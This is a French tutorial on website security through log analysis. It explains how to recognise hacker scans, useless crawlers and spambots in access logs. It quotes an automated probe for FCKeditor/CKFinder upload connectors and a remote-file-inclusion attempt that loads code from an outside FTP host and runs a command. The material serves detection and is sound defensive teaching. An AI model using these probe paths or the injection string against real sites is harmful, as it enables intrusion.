HTML5 - CSS 2.x/3
PHP / MySQL
FORTH ...

Sécurisation de son site web

Votre site web est en place. Mais avez-vous la certitude qu'il est bien sécurisé? Nous allons voir différentes techniques à mettre en place pour éviter que le site ne soit l'objet d'attaques plus ou moins nuisibles.

Traçage et détection des anomalies

Dans la précédente série, nous avons appris comment tracer la fréquentation de son site web.

Ce traçage est très important: pour comprendre qui vient et ce qu'il fait sur le site web; détecter des anomalies de comportement.

Parmi les anomalies, nous avons plusieurs catégories essentielles:

Les hackers

Les hackers bien équipés utilisent des scripts automatiques installés sur des serveurs qui ont été piratés. Il est donc impossible de remonter à la machine utilisée par le hacker, sauf à tomber sur un newbie totalement irresponsable.

Les hackers utilisent des scripts qui cherchent des failles de sécurité. Les traçage des actions provenant de hackers sont assez facile à reconnaître:

Exemple d'appel de page inexistante:

177.92.36.99;99.36.92.177.dynamic.copel.net;01/03/2015 21:11:38;/administrator/index.php;"";"Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"

En rouge, le répertoire et fichier que le hacker a tenté d'ouvrir.

Si vous utilisez un bon CMS ou Framework, cette tentative affichera une page d'erreur.

Voici un extrait que nous avons simplifié d'une attaque typique d'un script automatique de hacking:

"76.164.223.210";/fckeditor/editor/filemanager/connectors/aspx/upload.aspx;;
"76.164.223.210";/fckeditor/editor/filemanager/connectors/asp/upload.asp;;
"76.164.223.210";/fckeditor/editor/filemanager/connectors/php/upload.php;;
"76.164.223.210";/fckeditor/editor/filemanager/connectors/aspx/connector.aspx;;
"76.164.223.210";/fckeditor/editor/filemanager/connectors/asp/connector.asp;;
"76.164.223.210";/fckeditor/editor/filemanager/connectors/php/connector.php;;
"76.164.223.210";/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp;;
"76.164.223.210";/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php;;
"76.164.223.210";/admin/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx;;
"76.164.223.210";/admin/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp;;
"76.164.223.210";/admin/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php;;
"76.164.223.210";/admin/fckeditor/editor/filemanager/connectors/aspx/connector.aspx;;
"76.164.223.210";/admin/fckeditor/editor/filemanager/connectors/asp/connector.asp;;
"76.164.223.210";/admin/fckeditor/editor/filemanager/connectors/php/connector.php;;
"76.164.223.210";/admin/fckeditor/editor/filemanager/connectors/aspx/upload.aspx;;
"76.164.223.210";/admin/fckeditor/editor/filemanager/connectors/asp/upload.asp;;
"76.164.223.210";/admin/fckeditor/editor/filemanager/connectors/php/upload.php;;
"76.164.223.210";/ckeditor/ckfinder/core/connector/asp/connector.asp;;
"76.164.223.210";/ckeditor/ckfinder/core/connector/php/connector.php;;
"76.164.223.210";/ckeditor/ckfinder/core/connector/aspx/connector.aspx;;

Toutes ces lignes ont été générées en deux secondes! Si un visiteur normal arrive à ce moment, il trouvera le serveur très lent, voire bloqué.

Ce genre de script peut provoquer une erreur de type DDoS (distributed denial-of-service). Si elles sont trop fréquentes, votre hébergeur peut suspendre votre serveur pour un temps indéterminé!

Voici un autre exemple d'une trace laissé par un hacker qui a tenté une injection de code:

"179.104.156.165";13/08/2014 13:29:18;/index.php?page=ftp://nicework:123abc@ftp.alwaysdata.com/www/cse.jpg?&cmd=id;;

Les robots d'indexation inutiles

Il y a les robots d'indexation utiles et les robots totalement inutiles. Les robots utiles sont au nombre de quelques-uns, tous les autres sont inutiles!

La très grande majorité des robots d'indexation se signalent par un user-agent différent des navigateurs classiques. Exemple:

"207.46.13.117";msnbot-207-46-13-117.search.msn.com;01/03/2015 05:39:02;/index.php/forum/voir-message/id/22284;"";"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"

Ici, en rouge, la signature du moteur de recherche BING qui est géré par Microsoft.

Ce moteur de recherche sera classé comme utile.

Voici une trace de moteur de recherche inutile:

"212.224.119.142";01/03/2015 23:47:10;/profil/profil/article/profil/sortie/sortie/profil/profil/sortie/article/contact/;;Mozilla/5.0 (compatible; XoviBot/2.0; +http://www.xovibot.net/)

La douloureuse question est de savoir déterminer quel moteur de recherche est utile ou non. Pour ça, il n'y a pas de recette miracle. on fait une recherche via Google.

Pour XoviBot, on découvre que c'est le robot d'indexation de la sté XOVI (Allemagne) qui vend des services SEO. Leur robot va indexer toutes vos pages et dire à ses clients qu'il a trouvé des liens vers leurs sites sur xx pages de votre site.

Evidemment, si vous avez un forum avec 35.000 contributions, il va indexer 35.000 pages et ne rien trouver. Et au final, vous aurez utilisé vos ressources pour le business de cette société sans contrepartie en retour, car XOVI ne gère pas d'annuaire accessible en ligne pour les particuliers.

La chasse aux mauvais moteurs d'indexation s'apparente à la chasse aux taupes. Il faut attendre de voir la motte de terre apparaître pour les neutraliser.

Les spamBots

Les spamBots sont des moteurs non identifiés en tant que tels, qui recherchent des formulaires non protégés pour polluer des forums.

Exemple de trace de spamBot:

"148.251.11.140";02/09/2014 04:10:28;/;;Apache-HttpClient/4.3 (java 1.5)

En fait, certains spamBots exploitent des signatures de moteurs de recherche, d'autres ont le comportement de scripts de hacking.

Les actions possibles

Un des effets les plus néfastes des parasites venant sur votre site web, c'est d'abord de vous faire croire que votre site est visité. Si vous avez un compteur de visite absolument basique, il comptabilisera chaque hit sur la page d'accueil par exemple. Dans la réalité, pour une visite utile, vous aurez peut-être dix ou vingt visites inutiles.

Quand on a un petit site web, cette "sur-fréquentation" n'est pas dramatique. Mais quand le contenu commence à s'étoffer, il devient nettement moins négligeable.

Les actions possibles sont:

Dans certains cas, nous pourrions même être amené à bloquer toutes les adresses IP d'un pays. Mais c'est loin d'être efficace, les vrais hackers utilisent des serveurs proxy et contournent facilement ces blocages.

Voyons en détail comment:

Tous les articles sur ce thème